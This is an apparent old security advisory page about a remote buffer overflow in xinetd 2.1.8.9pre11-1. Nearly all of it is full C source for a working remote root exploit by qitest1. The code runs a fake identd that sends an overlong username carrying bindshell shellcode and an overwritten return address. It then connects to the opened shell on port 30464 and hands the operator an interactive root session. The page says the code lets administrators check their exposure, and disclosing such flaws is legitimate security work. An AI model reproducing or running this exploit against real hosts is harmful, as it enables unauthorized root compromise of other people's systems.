|
|
|
|
| |
XInetD is a secure replacement for inetd. A buffer overflow vulnerability in the product allows attackers to execute arbitrary commands on the machine remotely.
An exploit code has been now released to enable administrator to verify whether their installation is vulnerable or not.
For more information about the vulnerability see our previous post: Buffer Overflow Found in XInetD (log.c). |
| |
Credit:
The information has been provided by qitest1.
|
| |
Vulnerable systems:
XInetD version 2.1.8.9pre11-1
Immune systems:
XInetD version 2.1.8.9pre16
There was a buffer overflow in the logging code that could potentially allow a remote attacker to obtain root privileges by sending a very long username string in response to an ident request.
Exploit code:
/*
* xinetd-2.1.8.9pre11-1 Linux x86 remote root exploit
* by qitest1 28/06/2001
*
* This is a proof of concept code for the exploitation of the bof
* present in xinetd-2.1.8.9pre11-1. Read the advisories first. The
* code uses a single-byte corruption of the fp, as explained by klog.
* sc_addr_pos is the position, from the beginning of the writable
* area, where a pointer to the nop will be placed.
*
* For ethical reasons just one hardcoded target type will be provided.
* Its values work only against one of the bugged 'pre' releases of
* xinetd, installed on my Red Hat 6.2 box. Not for kiddies.
*
* Greets: zen-parse, for having found this bug
* klog, for his paper about the fp corruption
* all my friends on the internet =)
*
* 100% pure 0x69. =)
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#define MY_PORT 1
#define THEIR_PORT 23
#define IDENTD_PORT 113
#define FIRST_PAD 1009
struct targ
{
int def;
char *descr;
unsigned long int retaddr;
int sc_addr_pos;
};
struct targ target[]=
{
{0, "Red Hat 6.2 with xinetd-2.1.8.9pre11-1", 0xbffff44b, 985},
{69, NULL, 0}
};
char shellcode[] = /* Taeho Oh bindshell code at port 30464 */
"\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
"\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
"\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
"\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
"\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
"\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
"\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
"\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
"\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
"\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";
char zbuf[1024], host[512];
int sel = 0, offset = 0;
int sockami2(char *host, int my_port, int their_port);
void fake_identd(void);
void l33t_buf(void);
static void keep_clz(void) __attribute__ ((destructor));
void shellami(int sock);
void usage(char *progname);
int
main(int argc, char **argv)
{
int sock, cnt;
printf("\n xinetd-2.1.8.9pre11-1 exploit by qitest1\n\n");
if(getuid())
{
fprintf(stderr, "Must be root babe\n");
exit(1);
}
if(argc == 1)
usage(argv[0]);
host[0] = 0;
while((cnt = getopt(argc,argv,"h:t:o:s:")) != EOF)
{
switch(cnt)
{
case 'h':
strncpy(host, optarg, sizeof(host));
host[sizeof(host)] = '\x00';
break;
case 't':
sel = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case 's':
target[sel].sc_addr_pos = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if(host[0] == 0)
usage(argv[0]);
printf("+Host: %s\n as: %s\n", host, target[sel].descr);
target[sel].retaddr += offset;
printf("+Using: retaddr = %p and sc_addr_pos = %d...\n ok\n",
target[sel].retaddr, target[sel].sc_addr_pos);
printf("+Starting fake_identd...\n");
fake_identd();
return;
}
int
sockami2(char *host, int my_port, int their_port)
{
struct sockaddr_in address;
struct sockaddr_in my_addr;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(my_port);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sock, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(their_port);
if(connect(sock, (struct sockaddr *) &address,
sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
fake_identd(void)
{
int sockfd, new_fd, sin_size, rem_port, loc_port, i;
char rbuf[1024], sbuf[1024], cif[6], *ptr;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf(" fake_identd forking into background\n");
if (!fork())
{
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket()");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(IDENTD_PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(my_addr.sin_zero), 8);
if(bind(sockfd, (struct sockaddr *)&my_addr,
sizeof(struct sockaddr)) == -1)
{
perror("bind()");
exit(1);
}
if(listen(sockfd, 1) == -1)
{
perror("listen()");
exit(1);
}
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
&sin_size)) == -1)
{
perror("accept()");
continue;
}
/* Fake session
*/
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* Parsing of query
*/
ptr = rbuf; i = 0;
while(*ptr != ',')
{
cif[i] = *ptr;
*ptr++; i ++;
}
sscanf(cif, "%d", &rem_port);
memset(cif, 0, sizeof(cif));
*ptr++; i = 0;
while(*ptr != ' ')
{
cif[i] = *ptr;
*ptr++; i++;
}
sscanf(cif, "%d", &loc_port);
l33t_buf();
memset(sbuf, 0, sizeof(sbuf));
sprintf(sbuf, "%d,%d:USERID:%s\r\n",
rem_port, loc_port, zbuf);
send(new_fd, sbuf, strlen(sbuf), 0);
memset(rbuf, 0, sizeof(rbuf));
recv(new_fd, rbuf, sizeof(rbuf), 0);
/* End
*/
}
}
return;
}
void
l33t_buf(void)
{
int i, n = 0;
memset(zbuf, 0, sizeof(zbuf));
for(i = 0; i < FIRST_PAD; i++)
zbuf[i] = '\x69';
memset(zbuf, 0x90, target[sel].sc_addr_pos - 1);
for(i = target[sel].sc_addr_pos - strlen(shellcode);
i < target[sel].sc_addr_pos;
i++)
zbuf[i] = shellcode[n++];
zbuf[target[sel].sc_addr_pos + 0] =
(u_char) (target[sel].retaddr & 0x000000ff);
zbuf[target[sel].sc_addr_pos + 1] =
(u_char)((target[sel].retaddr & 0x0000ff00) >> 8);
zbuf[target[sel].sc_addr_pos + 2] =
(u_char)((target[sel].retaddr & 0x00ff0000) >> 16);
zbuf[target[sel].sc_addr_pos + 3] =
(u_char)((target[sel].retaddr & 0xff000000) >> 24);
return;
}
void
keep_clz(void)
{
int sock;
if(host[0] != 0)
{
printf("+Causing an auth request to our fake_identd\n");
sock = sockami2(host, MY_PORT, THEIR_PORT);
printf(" done\n");
close(sock);
printf("+Enjoy your root shell...\n 0x69 =)\n");
sleep(1);
sock = sockami2(host, 6969, 30464);
shellami(sock);
}
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -h hostname\n"
" -t target\n"
" -o offset\n"
" -s sc_addr_pos\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
|
|
|
|
|